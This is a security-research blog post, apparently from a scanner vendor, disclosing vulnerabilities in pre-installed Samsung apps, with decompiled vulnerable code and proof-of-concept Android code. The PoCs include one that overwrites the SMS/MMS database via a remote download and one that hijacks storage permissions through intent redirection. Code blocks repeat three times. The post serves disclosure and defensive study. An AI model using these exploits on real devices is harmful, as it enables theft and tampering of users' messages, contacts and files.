After spending two weeks looking for security bugs in the pre-installed apps on Samsung devices, we were able to find multiple dangerous vulnerabilities. In this blog, we will be going over them.
The impact of these bugs could have allowed an attacker to access and edit the victim’s contacts, calls, SMS/MMS, install arbitrary apps with device administrator rights, or read and write arbitrary files on behalf of a system user which could change the device’s settings.
These vulnerabilities could have led to a GDPR violation, and we are delighted that we could help Samsung identify and fix these vulnerabilities in a timely manner.
Intent redirection leads to gaining access to arbitrary content providers
$280
Do you want to check your mobile apps for such types of vulnerabilities? Oversecured mobile apps scanner provides an automatic solution that helps to detect vulnerabilities in Android and iOS mobile apps. You can integrate Oversecured into your development process and check every new line of your code to ensure your users are always protected.
Start securing your apps by starting a free 2-week trial from Quick Start, or you can book a call with our team or contact us to explore more.
The vulnerability in Knox Core
First, we scanned the Knox Core app and discovered that an app was installed from the SD card:
It also turned out that this functionality is activated via the exported service com.samsung.android.knox.containercore.provisioning.DualDARInitService:
An attacker could pass an arbitrary URI via the dualdar-config-client-location parameter, which will be copied to /sdcard/Android/data/com.samsung.android.knox.containercore/files/client_downloaded_knox_app.apk, which is a world-readable location.
After that, the app installation process will be launched:
private voidproceedPrerequisiteForDualDARWithWPCOD(Intent intent){if(intent.getBooleanExtra("DUAL_DAR_IS_WPCOD",false)){int intExtra = intent.getIntExtra("android.intent.extra.user_handle",UserHandle.myUserId());Bundle bundleExtra = intent.getBundleExtra("DUAL_DAR_PARAMS");String string = bundleExtra.getString("dualdar-config-client-package",null);if(!TextUtils.isEmpty(string)){DDLog.m4d("KNOXCORE::DualDARInitService","Start proceedPrerequisiteForDualDARWithWPCOD 3rd-party crypto");String string2 = bundleExtra.getString("dualdar-config-client-location");// attacker-controlled URIDDLog.m4d("KNOXCORE::DualDARInitService","DualDARPolicy.KEY_CONFIG_CLIENT_LOCATION = " + string2);if(TextUtils.isEmpty(string2)){notifyMPError(5);}elseif(string2.startsWith("file://")){String str = getExternalFilesDir(null) + "/client_downloaded_knox_app.apk";try{// attacker-controlled file is copied to the public location((SemRemoteContentManager)this.mContext.getSystemService("rcp")).copyFile(intExtra,string2.replaceFirst("^file://",""),intExtra,str);installPackageTask(intent,string,str);// and then installed}catch(RemoteException unused){DDLog.m3e("KNOXCORE::DualDARInitService","copyFile failed.");notifyMPError(5);}}elseif(string2.startsWith("https://")){downloadPackageTask(intent,string,string2);}else{notifyMPError(5);}}else{DDLog.m4d("KNOXCORE::DualDARInitService","Start proceedPrerequisiteForDualDARWithWPCOD native crypto");startRunnerTask(intent);}}}
private voidproceedPrerequisiteForDualDARWithWPCOD(Intent intent){if(intent.getBooleanExtra("DUAL_DAR_IS_WPCOD",false)){int intExtra = intent.getIntExtra("android.intent.extra.user_handle",UserHandle.myUserId());Bundle bundleExtra = intent.getBundleExtra("DUAL_DAR_PARAMS");String string = bundleExtra.getString("dualdar-config-client-package",null);if(!TextUtils.isEmpty(string)){DDLog.m4d("KNOXCORE::DualDARInitService","Start proceedPrerequisiteForDualDARWithWPCOD 3rd-party crypto");String string2 = bundleExtra.getString("dualdar-config-client-location");// attacker-controlled URIDDLog.m4d("KNOXCORE::DualDARInitService","DualDARPolicy.KEY_CONFIG_CLIENT_LOCATION = " + string2);if(TextUtils.isEmpty(string2)){notifyMPError(5);}elseif(string2.startsWith("file://")){String str = getExternalFilesDir(null) + "/client_downloaded_knox_app.apk";try{// attacker-controlled file is copied to the public location((SemRemoteContentManager)this.mContext.getSystemService("rcp")).copyFile(intExtra,string2.replaceFirst("^file://",""),intExtra,str);installPackageTask(intent,string,str);// and then installed}catch(RemoteException unused){DDLog.m3e("KNOXCORE::DualDARInitService","copyFile failed.");notifyMPError(5);}}elseif(string2.startsWith("https://")){downloadPackageTask(intent,string,string2);}else{notifyMPError(5);}}else{DDLog.m4d("KNOXCORE::DualDARInitService","Start proceedPrerequisiteForDualDARWithWPCOD native crypto");startRunnerTask(intent);}}}
private voidproceedPrerequisiteForDualDARWithWPCOD(Intent intent){if(intent.getBooleanExtra("DUAL_DAR_IS_WPCOD",false)){int intExtra = intent.getIntExtra("android.intent.extra.user_handle",UserHandle.myUserId());Bundle bundleExtra = intent.getBundleExtra("DUAL_DAR_PARAMS");String string = bundleExtra.getString("dualdar-config-client-package",null);if(!TextUtils.isEmpty(string)){DDLog.m4d("KNOXCORE::DualDARInitService","Start proceedPrerequisiteForDualDARWithWPCOD 3rd-party crypto");String string2 = bundleExtra.getString("dualdar-config-client-location");// attacker-controlled URIDDLog.m4d("KNOXCORE::DualDARInitService","DualDARPolicy.KEY_CONFIG_CLIENT_LOCATION = " + string2);if(TextUtils.isEmpty(string2)){notifyMPError(5);}elseif(string2.startsWith("file://")){String str = getExternalFilesDir(null) + "/client_downloaded_knox_app.apk";try{// attacker-controlled file is copied to the public location((SemRemoteContentManager)this.mContext.getSystemService("rcp")).copyFile(intExtra,string2.replaceFirst("^file://",""),intExtra,str);installPackageTask(intent,string,str);// and then installed}catch(RemoteException unused){DDLog.m3e("KNOXCORE::DualDARInitService","copyFile failed.");notifyMPError(5);}}elseif(string2.startsWith("https://")){downloadPackageTask(intent,string,string2);}else{notifyMPError(5);}}else{DDLog.m4d("KNOXCORE::DualDARInitService","Start proceedPrerequisiteForDualDARWithWPCOD native crypto");startRunnerTask(intent);}}}
A service is launched to copy the required file to a public location (since this is an invalid APK file, it will be deleted immediately after an installation error),
Then, the client_downloaded_knox_app.apk file is read.
Note: We use MediaStore.Files because the latest Android versions do not allow direct reading from external storages belonging to other apps, but this can be bypassed using the Android Media Content Provider.
The vulnerability in Managed Provisioning
Managed Provisioning is a pre-installed app on all Samsung devices and is used for corporate device customization.
Once again, while testing Managed Provisioning, we found a vulnerability on installing an app from a public directory:
The original app was developed by AOSP and it had security checks to verify the authorization of any interactions. The Managed Provisioning app was modified by Samsung to add features which were needed to interact with their ecosystem and Knox Core.
Therefore, in the Samsung app, this check could be bypassed by setting the value com.samsung.knox.container.requestId:
int intExtra = intent.getIntExtra("com.samsung.knox.container.requestId", -1);if(intExtra > 0){ProvisionLogger.logw("Skipping verifyActionAndCaller");// the bypass}elseif(!verifyActionAndCaller(intent,str)){return;}
int intExtra = intent.getIntExtra("com.samsung.knox.container.requestId", -1);if(intExtra > 0){ProvisionLogger.logw("Skipping verifyActionAndCaller");// the bypass}elseif(!verifyActionAndCaller(intent,str)){return;}
int intExtra = intent.getIntExtra("com.samsung.knox.container.requestId", -1);if(intExtra > 0){ProvisionLogger.logw("Skipping verifyActionAndCaller");// the bypass}elseif(!verifyActionAndCaller(intent,str)){return;}
Proof of Concept for installing custom apps and giving them Device Admin rights
This Proof of Concept was built by copying the code of the ProvisioningParams.Builder class and passing the standard parameters needed to configure Managed Provisioning, which included:
Managed Provisioning was forced to download a malicious app from the attacker-specified link
The malicious app installed in Step 1 was made a device administrator with an arbitrary set of rights
A process was initiated which would remove all the other apps installed on the same device.
The attack looked like this:
The vulnerability in Secure Folder
Secure Folder is a secure file storage app which is pre-installed on Samsung devices. It has a large set of rights that an attacker could intercept by exploiting the vulnerability found in accessing arbitrary* content providers:
Once an attacker receives the intent which was sent by them, they would be able to intercept the rights.
As a PoC, we intercepted the rights to read/write contacts:
SecSettings is Samsung’s pre-installed settings app.
The vulnerability on reading and writing arbitrary files from UID 1000 (system) consists of two components:
gaining access to arbitrary* content providers
exploiting an insecure FileProvider in the com.sec.imsservice app
This chain is only possible because both apps use the same shared UID specified in their AndroidManifest.xml: android:sharedUserId="android.uid.system". In fact, this setting means that two different apps can share absolutely all resources and have full access to each other’s components. The vulnerability in SecSettings is Google’s. It was reported to the Android VDP. The reward is $2000. We will disclose the details of this issue in the Part 2 article.
The vulnerability in Samsung DeX System UI
This vulnerability allowed an attacker to steal data from user notifications, which would typically include chat descriptions for Telegram, Google Docs folders, Samsung Email and Gmail inboxes, and information from notifications of other apps.
The attacker could also activate the functionality to create a backup in the world-readable directory on the SD card:
Since the file was deleted immediately after creating a backup, we added a functionality to create a backup copy to prevent this.
The receiver com.samsung.android.app.telephonyui.carrierui.photoring.model.PhotoringReceiver is exported. It saves files from the URL specified in photoring_uri to the path specified in down_file. This was detected by the Oversecured Android scanner:
The only requirement is that the content-type of the server response should be image/* or video/*. Therefore, we used the filename test.mp4 and Amazon S3 automatically specified the video/mp4content type in the response.
Proof of Concept:
File dbPath = newFile(getPackageManager().getApplicationInfo("com.android.providers.telephony",0).dataDir,"databases/mmssms.db");Intent i = newIntent("com.samsung.android.app.telephonyui.action.DOWNLOAD_PHOTORING");i.setClassName("com.samsung.android.app.telephonyui","com.samsung.android.app.telephonyui.carrierui.photoring.model.PhotoringReceiver");i.putExtra("photoring_uri","https://redacted.s3.amazonaws.com/test.mp4");i.putExtra("down_file",dbPath.getAbsolutePath());sendBroadcast(i);
File dbPath = newFile(getPackageManager().getApplicationInfo("com.android.providers.telephony",0).dataDir,"databases/mmssms.db");Intent i = newIntent("com.samsung.android.app.telephonyui.action.DOWNLOAD_PHOTORING");i.setClassName("com.samsung.android.app.telephonyui","com.samsung.android.app.telephonyui.carrierui.photoring.model.PhotoringReceiver");i.putExtra("photoring_uri","https://redacted.s3.amazonaws.com/test.mp4");i.putExtra("down_file",dbPath.getAbsolutePath());sendBroadcast(i);
File dbPath = newFile(getPackageManager().getApplicationInfo("com.android.providers.telephony",0).dataDir,"databases/mmssms.db");Intent i = newIntent("com.samsung.android.app.telephonyui.action.DOWNLOAD_PHOTORING");i.setClassName("com.samsung.android.app.telephonyui","com.samsung.android.app.telephonyui.carrierui.photoring.model.PhotoringReceiver");i.putExtra("photoring_uri","https://redacted.s3.amazonaws.com/test.mp4");i.putExtra("down_file",dbPath.getAbsolutePath());sendBroadcast(i);
As a result, the file with SMS/MMS messages was overwritten with attacker-controlled content.
The vulnerability in PhotoTable
In PhotoTable, we found intent redirection, which allowed access to content providers to be intercepted:
Proof of Concept:
We used this vulnerability to hijack the rights to access the SD card.
protected voidonCreate(Bundle savedInstanceState){super.onCreate(savedInstanceState);handle(getIntent());}protected voidonNewIntent(Intent intent){super.onNewIntent(intent);handle(intent);}private voidhandle(Intent intent){if("evil".equals(intent.getAction())){String uri = MediaStore.Images.Media.insertImage(getContentResolver(),Bitmap.createBitmap(1,1,Bitmap.Config.ARGB_8888),"Title_1337","Description_1337");Log.d("evil","Result: " + uri);}else{Intent next = newIntent("evil",MediaStore.Images.Media.EXTERNAL_CONTENT_URI);next.setFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);next.setClass(this,getClass());Intent i = newIntent();i.setClassName("com.android.dreams.phototable","com.android.dreams.phototable.PermissionsRequestActivity");i.putExtra("previous_intent",next);i.putExtra("permission_list",newString[0]);startActivity(i);}}
protected voidonCreate(Bundle savedInstanceState){super.onCreate(savedInstanceState);handle(getIntent());}protected voidonNewIntent(Intent intent){super.onNewIntent(intent);handle(intent);}private voidhandle(Intent intent){if("evil".equals(intent.getAction())){String uri = MediaStore.Images.Media.insertImage(getContentResolver(),Bitmap.createBitmap(1,1,Bitmap.Config.ARGB_8888),"Title_1337","Description_1337");Log.d("evil","Result: " + uri);}else{Intent next = newIntent("evil",MediaStore.Images.Media.EXTERNAL_CONTENT_URI);next.setFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);next.setClass(this,getClass());Intent i = newIntent();i.setClassName("com.android.dreams.phototable","com.android.dreams.phototable.PermissionsRequestActivity");i.putExtra("previous_intent",next);i.putExtra("permission_list",newString[0]);startActivity(i);}}
protected voidonCreate(Bundle savedInstanceState){super.onCreate(savedInstanceState);handle(getIntent());}protected voidonNewIntent(Intent intent){super.onNewIntent(intent);handle(intent);}private voidhandle(Intent intent){if("evil".equals(intent.getAction())){String uri = MediaStore.Images.Media.insertImage(getContentResolver(),Bitmap.createBitmap(1,1,Bitmap.Config.ARGB_8888),"Title_1337","Description_1337");Log.d("evil","Result: " + uri);}else{Intent next = newIntent("evil",MediaStore.Images.Media.EXTERNAL_CONTENT_URI);next.setFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);next.setClass(this,getClass());Intent i = newIntent();i.setClassName("com.android.dreams.phototable","com.android.dreams.phototable.PermissionsRequestActivity");i.putExtra("previous_intent",next);i.putExtra("permission_list",newString[0]);startActivity(i);}}